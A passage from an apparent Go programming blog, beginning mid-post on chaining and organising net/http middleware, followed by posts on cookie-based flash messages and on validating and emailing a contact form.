next.ServeHTTP(w, r) runs before barHandler is executed — and any code which comes after next.ServeHTTP(w, r) runs after barHandler has returned. So the flow of control through the application for the GET /bar route looks like this: http.ServeMux → middlewareOne → barHandler → middlewareOne → http.ServeMux Using middleware on all routes In the previous example, we used our middleware to wrap a specific handler in a specific route. But if you want your middleware to act on all routes, you can wrap http.ServeMux itself so that the flow of control looks like this: middlewareOne → http.ServeMux → fooHandler/barHandler → http.ServeMux → middlewareOne This works because Go's http.ServeMux implements the http.Handler interface — it has the necessary ServeHTTP() method. And as a result, we can directly pass an http.ServeMux into a middleware function as the next parameter. Let's update our example code to do this: main.go package main ... func main() { mux := http.NewServeMux() // We don't use any middleware on the individual routes. mux.Handle("GET /foo", http.HandlerFunc(fooHandler)) mux.Handle("GET /bar", http.HandlerFunc(fooHandler)) log.Println("listening on :3000...") // Wrap the http.ServeMux with the middlewareOne function. err := http.ListenAndServe(":3000", middlewareOne(mux)) log.Fatal(err) } And if you run the application and make the same requests to /foo and /bar again, you should see from the log output that middlewareOne is now being used on all routes. $ go run main.go 2025/07/05 19:04:48 listening on :3000... 2025/07/05 19:04:54 /foo executing middlewareOne 2025/07/05 19:04:54 /foo executing fooHandler 2025/07/05 19:04:54 /foo executing middlewareOne again 2025/07/05 19:04:58 /bar executing middlewareOne 2025/07/05 19:04:58 /bar executing fooHandler 2025/07/05 19:04:58 /bar executing middlewareOne again Chaining middleware Because the standard middleware function pattern accepts a http.Handler as a parameter, and it returns a http.Handler, that makes it possible to easily create arbitrarily long chains of middleware. Put simply, one middleware function can wrap another middleware function. To illustrate this, let's add some more middleware functions to our example and chain them together. main.go package main import ( "log" "net/http" ) func middlewareOne(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { log.Println(r.URL.Path, "executing middlewareOne") next.ServeHTTP(w, r) log.Println(r.URL.Path, "executing middlewareOne again") }) } func middlewareTwo(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { log.Println(r.URL.Path, "executing middlewareTwo") next.ServeHTTP(w, r) log.Println(r.URL.Path, "executing middlewareTwo again") }) } func middlewareThree(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { log.Println(r.URL.Path, "executing middlewareThree") next.ServeHTTP(w, r) log.Println(r.URL.Path, "executing middlewareThree again") }) } func middlewareFour(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { log.Println(r.URL.Path, "executing middlewareFour") next.ServeHTTP(w, r) log.Println(r.URL.Path, "executing middlewareFour again") }) } func middlewareFive(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { log.Println(r.URL.Path, "executing middlewareFive") next.ServeHTTP(w, r) log.Println(r.URL.Path, "executing middlewareFive again") }) } func fooHandler(w http.ResponseWriter, r *http.Request) { log.Println(r.URL.Path, "executing fooHandler") w.Write([]byte("OK")) } func barHandler(w http.ResponseWriter, r *http.Request) { log.Println(r.URL.Path, "executing barHandler") w.Write([]byte("OK")) } func main() { mux := http.NewServeMux() // Apply middlewareThree and middlewareFour to GET /foo mux.Handle("GET /foo", middlewareThree(middlewareFour(http.HandlerFunc(fooHandler)))) // Apply middlewareFour and middlewareFive to GET /bar mux.Handle("GET /bar", middlewareFour(middlewareFive(http.HandlerFunc(barHandler)))) log.Println("listening on :3000...") // Apply middlewareOne and middlewareTwo to the entire http.ServeMux err := http.ListenAndServe(":3000", middlewareOne(middlewareTwo(mux))) log.Fatal(err) } In this code we are now wrapping the http.ServeMux with middlewares One and Two, on the GET /foo route we're using middlewares Three and Four, and on the GET /bar route we're using middlewares Four and Five. Again, if you run the application and make the same requests to /foo and /bar you should now see log output that demonstrates the middleware functions being chained together and the flow of control through them. Like so: 2025/07/05 19:06:25 /foo executing middlewareOne 2025/07/05 19:06:25 /foo executing middlewareTwo 2025/07/05 19:06:25 /foo executing middlewareThree 2025/07/05 19:06:25 /foo executing middlewareFour 2025/07/05 19:06:25 /foo executing fooHandler 2025/07/05 19:06:25 /foo executing middlewareFour again 2025/07/05 19:06:25 /foo executing middlewareThree again 2025/07/05 19:06:25 /foo executing middlewareTwo again 2025/07/05 19:06:25 /foo executing middlewareOne again 2025/07/05 19:06:43 /bar executing middlewareOne 2025/07/05 19:06:43 /bar executing middlewareTwo 2025/07/05 19:06:43 /bar executing middlewareFour 2025/07/05 19:06:43 /bar executing middlewareFive 2025/07/05 19:06:43 /bar executing barHandler 2025/07/05 19:06:43 /bar executing middlewareFive again 2025/07/05 19:06:43 /bar executing middlewareFour again 2025/07/05 19:06:43 /bar executing middlewareTwo again 2025/07/05 19:06:43 /bar executing middlewareOne again Early returns One of the useful things about middleware is that you can use it as a 'guard' to prevent downstream middleware and handlers in the chain from being executed unless certain conditions are met. For example, you can use middleware to check if a user is authenticated, or that a request contains the correct Content-Type header, or that the client hasn't hit a rate-limiter ceiling before doing any further processing. For example, you could create a middleware function to ensure that the request Content-Type header exactly matches application/json by returning early from the middleware, before calling next.ServeHTTP(w, r). Like this: func requireJSON(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { contentType := r.Header.Get("Content-Type") // If the content type is not application/json, send an error message and // return from the middleware. By returning before next.ServeHTTP(w, r) // is called, it means that the next handler in the chain is never executed. if contentType != "application/json" { http.Error(w, "Content-Type header must be application/json", http.StatusUnsupportedMediaType) return } // Otherwise, if the content type is application/json, call the next handler // in the chain as normal. next.ServeHTTP(w, r) }) } A more realistic example Now that we've covered the theory, let's look at a more practical example to give you a taste for using middleware in a real application. In this code, we'll create two middleware functions that we want to use on all routes: A serverHeader middleware that adds the Server: Go header to HTTP responses. A logRequest middleware that uses the log/slog package to log the details of the current request. And we'll also create a GET /admin route that is guarded by a requireBasicAuthentication middleware function, which requires the client to authenticate via HTTP basic authentication. This is another example where we will use the 'early return' pattern that we just talked about. main.go package main import ( "log/slog" "net/http" "os" ) func serverHeader(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.Header().Set("Server", "Go") next.ServeHTTP(w, r) }) } func logRequest(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { var ( ip = r.RemoteAddr method = r.Method url = r.URL.String() proto = r.Proto ) userAttrs := slog.Group("user", "ip", ip) requestAttrs := slog.Group("request", "method", method, "url", url, "proto", proto) slog.Info("request received", userAttrs, requestAttrs) next.ServeHTTP(w, r) }) } func requireBasicAuthentication(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { validUsername := "admin" validPassword := "secret" username, password, ok := r.BasicAuth() if !ok || username != validUsername || password != validPassword { w.Header().Set("WWW-Authenticate", `Basic realm="protected"`) http.Error(w, "401 Unauthorized", http.StatusUnauthorized) return } next.ServeHTTP(w, r) }) } func home(w http.ResponseWriter, r *http.Request) { w.Write([]byte("Welcome to the home page!")) } func admin(w http.ResponseWriter, r *http.Request) { w.Write([]byte("Admin dashboard - you are authenticated!")) } func main() { mux := http.NewServeMux() mux.HandleFunc("GET /{$}", home) // Use the requireBasicAuthentication middleware on the GET /admin route only. mux.Handle("GET /admin", requireBasicAuthentication(http.HandlerFunc(admin))) slog.Info("listening on :3000...") // Use the serverHeader and logRequest middleware on all routes. err := http.ListenAndServe(":3000", serverHeader(logRequest(mux))) if err != nil { slog.Error(err.Error()) os.Exit(1) } } Please note: I've made the requireBasicAuthentication code deliberately simple for this example, and while it works correctly, there is the tiny but theoretical risk of it being vulnerable to a timing attack. If this is something you're concerned about, I've written about how to mitigate that risk in this blog post. Go ahead and run this application, then open a second terminal window and use curl to make a request to GET /, and unauthenticated and authenticated requests to GET /admin. The responses should look similar to this: $ curl -i localhost:3000 HTTP/1.1 200 OK Server: Go Date: Sat, 05 Jul 2025 12:19:24 GMT Content-Length: 25 Content-Type: text/plain; charset=utf-8 Welcome to the home page! $ curl -i localhost:3000/admin HTTP/1.1 401 Unauthorized Content-Type: text/plain; charset=utf-8 Server: Go Www-Authenticate: Basic realm="protected" X-Content-Type-Options: nosniff Date: Sat, 05 Jul 2025 12:19:32 GMT Content-Length: 17 401 Unauthorized $ curl -i -u admin:secret localhost:3000/admin HTTP/1.1 200 OK Server: Go Date: Sat, 05 Jul 2025 12:26:53 GMT Content-Length: 40 Content-Type: text/plain; charset=utf-8 Admin dashboard - you are authenticated! We can see from these responses that our serverHeader middleware is setting the Server: Go header on all responses, and that the requireBasicAuthentication middleware is correctly protecting our GET /admin route. And if you head back to your original terminal window, you should see the corresponding log entries courtesy of the logRequest middleware. Similar to this: $ go run main.go 2025/07/05 14:18:44 INFO listening on :3000... 2025/07/05 14:19:24 INFO request received user.ip=127.0.0.1:41966 request.method=GET request.url=/ request.proto=HTTP/1.1 2025/07/05 14:19:32 INFO request received user.ip=127.0.0.1:59244 request.method=GET request.url=/admin request.proto=HTTP/1.1 2025/07/05 14:26:53 INFO request received user.ip=127.0.0.1:57670 request.method=GET request.url=/admin request.proto=HTTP/1.1 Managing and organizing middleware Lastly, a couple of tips. If you have an application with lots of routes and lots of middleware, you can potentially end up with very long route declarations and a lot of duplication in those declarations, which isn't ideal for easy-reading or maintainability. One of the tools that I've used for a long time to help manage this is justinas/alice, which is a small package that makes it easy to create reusable chains of handlers. At it's most basic, it let's you rewrite code that looks like this: mux.Handle("GET /foo", middlewareOne(middlewareTwo(middlewareThree(http.HandlerFunc(fooHandler))))) mux.Handle("GET /bar", middlewareOne(middlewareTwo(middlewareThree(http.HandlerFunc(barHandler))))) As this: stdChain := alice.New(middlewareOne, middlewareTwo, middlewareThree) mux.Handle("/foo", stdChain.Then(fooHandler)) mux.Handle("/bar", stdChain.Then(barHandler)) More recently, I've been rolling my own custom chain type instead of using justinas/alice, or wrapping http.ServeMux so that it supports 'groups' of routes which use specific middleware. If you're interested in this, I've written a more about it in the post "Organize your Go middleware without dependencies", and it's probably a good follow-on read from this post.

• Simple 'flash' messages in Go
  Nov 19, 2013

  Often in web applications you need to temporarily store data in-between requests, such as an error or success message during the Post-Redirect-Get process for a form submission. Frameworks such as Rails and Django have the concept of transient single-use flash messages to help with this. In this post I'm going to look at a way to create your own cookie-based flash messages in Go. We'll start by creating a directory for the project, along with a flash.go file for our code and a main.go file for an example application. $ mkdir flash-example $ cd flash-example $ touch flash.go main.go In order to keep our request handlers nice and clean, we'll create our primary SetFlash() and GetFlash() helper functions in the flash.go file. File: flash.go package main import ( "encoding/base64" "net/http" "time" ) func SetFlash(w http.ResponseWriter, name string, value []byte) { c := &http.Cookie{Name: name, Value: encode(value)} http.SetCookie(w, c) } func GetFlash(w http.ResponseWriter, r *http.Request, name string) ([]byte, error) { c, err := r.Cookie(name) if err != nil { switch err { case http.ErrNoCookie: return nil, nil default: return nil, err } } value, err := decode(c.Value) if err != nil { return nil, err } dc := &http.Cookie{Name: name, MaxAge: -1, Expires: time.Unix(1, 0)} http.SetCookie(w, dc) return value, nil } // ------------------------- func encode(src []byte) string { return base64.URLEncoding.EncodeToString(src) } func decode(src string) ([]byte, error) { return base64.URLEncoding.DecodeString(src) } Our SetFlash() function is pretty succinct. It creates a new Cookie, containing the name of the flash message and the content. You'll notice that we're encoding the content – this is because RFC 6265 is quite strict about the characters cookie values can contain, and encoding to base64 ensures our value satisfies the permitted character set. We then use the SetCookie function to write the cookie to the response. In the GetFlash() helper we use the request.Cookie method to load up the cookie containing the flash message – returning nil if it doesn't exist – and then decode the value from base64 back into a byte array. Because we want a flash message to only be available once, we need to instruct clients to not resend the cookie with future requests. We can do this by setting a new cookie with exactly the same name, with MaxAge set to a negative number and Expiry set to a historical time (to cater for old versions of IE). You should note that Go will only set an expiry time on a cookie if it is after the Unix epoch, so we've set ours for 1 second after that. Let's use these helper functions in a short example: File: main.go package main import ( "fmt" "net/http" ) func main() { http.HandleFunc("/set", set) http.HandleFunc("/get", get) fmt.Println("Listening...") http.ListenAndServe(":3000", nil) } func set(w http.ResponseWriter, r *http.Request) { fm := []byte("This is a flashed message!") SetFlash(w, "message", fm) } func get(w http.ResponseWriter, r *http.Request) { fm, err := GetFlash(w, r, "message") if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } if fm == nil { fmt.Fprint(w, "No flash messages") return } fmt.Fprintf(w, "%s", fm) } Run the application: $ go run main.go flash.go Listening... And make some requests against it using cURL: $ curl -i --cookie-jar cj localhost:3000/set HTTP/1.1 200 OK Set-Cookie: message=VGhpcyBpcyBhIGZsYXNoZWQgbWVzc2FnZSE= Content-Type: text/plain; charset=utf-8 Content-Length: 0 $ curl -i --cookie-jar cj --cookie cj localhost:3000/get HTTP/1.1 200 OK Set-Cookie: message=; Expires=Thu, 01 Jan 1970 00:00:01 UTC; Max-Age=0 Content-Type: text/plain; charset=utf-8 Content-Length: 26 This is a flashed message! $ curl -i --cookie-jar cj --cookie cj localhost:3000/get HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Content-Length: 17 No flash messages You can see our flash message being set, retrieved, and then not passed with subsequent requests as expected. Additional Tools If you don't want to roll your own helpers for flash messages, or need them to be 'signed' to prevent tampering, then the Gorilla Sessions package is a good option. Here's the previous example implemented with Gorilla instead: package main import ( "fmt" "github.com/gorilla/sessions" "net/http" ) func main() { http.HandleFunc("/set", set) http.HandleFunc("/get", get) fmt.Println("Listening...") http.ListenAndServe(":3000", nil) } var store = sessions.NewCookieStore([]byte("a-secret-string")) func set(w http.ResponseWriter, r *http.Request) { session, err := store.Get(r, "flash-session") if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) } session.AddFlash("This is a flashed message!", "message") session.Save(r, w) } func get(w http.ResponseWriter, r *http.Request) { session, err := store.Get(r, "flash-session") if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) } fm := session.Flashes("message") if fm == nil { fmt.Fprint(w, "No flash messages") return } session.Save(r, w) fmt.Fprintf(w, "%v", fm[0]) } If you found this post useful, you might like to subscribe to my RSS feed.

• Form validation and processing in Go
  Nov 01, 2013

  In this post I want to outline a sensible pattern that you can use for validating and processing HTML forms in Go web applications. Over the years I've tried out a number of different approaches, but this is the basic pattern that I always keep coming back to. It's clear and uncomplicated, but also flexible and extensible enough to work well in a wide variety of projects and scenarios. To illustrate the pattern, I'll run through the start-to-finish build of a simple online contact form. So let's begin by creating a new directory for the application, along with a main.go file for our code and a couple of vanilla HTML templates: $ mkdir -p contact-form/templates $ cd contact-form $ touch main.go templates/home.html templates/confirmation.html File: templates/home.html Contact Your email: Your message: File: templates/confirmation.html Confirmation Your message has been sent! If you're following along you'll also need to enable modules in the application root by running the go mod init command like so: $ go mod init contact-form.example.com go: creating new go.mod: module contact-form.example.com Once that's done, your directory structure should look like this: . ├── templates │ ├── confirmation.html │ └── home.html ├── go.mod └── main.go Displaying the Form Our application is going to provide three routes: Method URL Path Handler Description GET / home Display the contact form POST / send Submit the contact form GET /confirmation confirmation Display a confirmation message after successful submission To handle the routing of requests we're going to use bmizerany/pat – but if you want to use an alternative Go router please feel free. Let's go ahead and create a skeleton for the application: File: main.go package main import ( "html/template" "log" "net/http" "github.com/bmizerany/pat" ) func main() { mux := pat.New() mux.Get("/", http.HandlerFunc(home)) mux.Post("/", http.HandlerFunc(send)) mux.Get("/confirmation", http.HandlerFunc(confirmation)) log.Print("Listening...") err := http.ListenAndServe(":3000", mux) if err != nil { log.Fatal(err) } } func home(w http.ResponseWriter, r *http.Request) { render(w, "templates/home.html", nil) } func send(w http.ResponseWriter, r *http.Request) { // Step 1: Validate form // Step 2: Send message in an email // Step 3: Redirect to confirmation page } func confirmation(w http.ResponseWriter, r *http.Request) { render(w, "templates/confirmation.html", nil) } func render(w http.ResponseWriter, filename string, data interface{}) { tmpl, err := template.ParseFiles(filename) if err != nil { log.Print(err) http.Error(w, "Sorry, something went wrong", http.StatusInternalServerError) } if err := tmpl.Execute(w, data); err != nil { log.Print(err) http.Error(w, "Sorry, something went wrong", http.StatusInternalServerError) } } This is fairly straightforward stuff so far. The only real point of note is that we've put the template handling into a render function to cut down on boilerplate code. If you run the application: $ go run . 2020/03/30 06:41:42 Listening... And then visit localhost:3000 in your browser you should see the contact form being displayed (although it doesn't do anything yet!). Validating the Form Now for the interesting part. Let's add some validation rules to this contact form, display the validation errors if there are any, and make sure that the form values get presented back if there's an error so the user doesn't need to retype them. We could add the code for this inline in our send handler, but personally I find it cleaner and neater to break out the logic into a separate message.go file: $ touch message.go File: message.go package main import ( "regexp" "strings" ) var rxEmail = regexp.MustCompile(".+@.+\\..+") type Message struct { Email string Content string Errors map[string]string } func (msg *Message) Validate() bool { msg.Errors = make(map[string]string) match := rxEmail.Match([]byte(msg.Email)) if match == false { msg.Errors["Email"] = "Please enter a valid email address" } if strings.TrimSpace(msg.Content) == "" { msg.Errors["Content"] = "Please enter a message" } return len(msg.Errors) == 0 } So what's going on here? We've started by defining a rxEmail variable, containing a simple regular expression for validating the format of the email address in the form. Then we define a Message struct, consisting of Email and Content fields (which will hold the data from the submitted form), along with an Errors map to hold any validation error messages. We then created a Validate() method that acts on a given Message, which checks the format of the email address and makes sure that the content isn't blank. In the event of any errors we add them to the Errors map, and finally return a true or false value to indicate whether validation passed successful or not. In a large project you might want to break the validation checks into helper functions to reduce duplication. This approach means that we can keep the code in our send handler fantastically light. All we need it to do is retrieve the form values from the POST request, create a new Message instance containing them, and call Validate(). If the validation fails we can re-render the contact form, passing back the relevant Message struct. Like so: File: main.go ... func send(w http.ResponseWriter, r *http.Request) { // Step 1: Validate form msg := &Message{ Email: r.PostFormValue("email"), Content: r.PostFormValue("content"), } if msg.Validate() == false { render(w, "templates/home.html", msg) return } // Step 2: Send message in an email // Step 3: Redirect to confirmation page } ... As a side note, in the code above we're using the PostFormValue() method on the request to access the POST data. This is a helper method which parses the form data in the request body (using ParseForm()) and returns the value for a specific field. If no matching field exists in the request body, it will return the empty string "". For large request bodies, you might also want to consider using the Gorilla Schema package to automatically decode the form values in to a struct, instead of assigning them manually like we have done in the code above. Anyway, let's now update our home.html template so it displays the validation errors (if they exist) above the relevant fields, and repopulate the form inputs with any information that the user previously typed in: File: templates/home.html .error {color: red;} Contact {{ with .Errors.Email }} {{ . }} {{ end }} Your email: {{ with .Errors.Content }} {{ . }} {{ end }} Your message: {{ .Content }} Let's try this out. Go ahead and run the application: $ go run . 2020/03/30 08:41:42 Listening... And try submitting an invalid form. You should find that the form is redisplayed along with the relevant data and validation errors like so: Sending the Contact Form Message Great! That's now working nicely, but our contact form isn't very useful unless we actually do something with it. Let's add a Deliver() method to our Message which sends the contact form message to a particular email address. In the code below I'm using the go-mail/mail package and a mailtrap.io account for email sending, but the same thing should work with any other SMTP server. File: message.go package main import ( "regexp" "strings" "github.com/go-mail/mail" ) ... func (msg *Message) Deliver() error { email := mail.NewMessage() email.SetHeader("To", "admin@example.com") email.SetHeader("From", "server@example.com") email.SetHeader("Reply-To", msg.Email) email.SetHeader("Subject", "New message via Contact Form") email.SetBody("text/plain", msg.Content) username := "your_username" password := "your_password" return mail.NewDialer("smtp.mailtrap.io", 25, username, password).DialAndSend(email) } The final step is to head back to our main.go file, add some code to call Deliver(), and issue a 303 See Other redirect to the confirmation page that we made earlier: File: main.go ... func send(w http.ResponseWriter, r *http.Request) { // Step 1: Validate form msg := &Message{ Email: r.PostFormValue("email"), Content: r.PostFormValue("content"), } if msg.Validate() == false { render(w, "templates/home.html", msg) return } // Step 2: Send contact form message in an email if err := msg.Deliver(); err != nil { log.Print(err) http.Error(w, "Sorry, something went wrong", http.StatusInternalServerError) return } // Step 3: Redirect to confirmation page http.Redirect(w, r, "/confirmation", http.StatusSeeOther) } ... So long as your SMTP server account credentials are set up correctly, you should now be able to successfully submit the contact form and you should see the confirmation message below in your browser.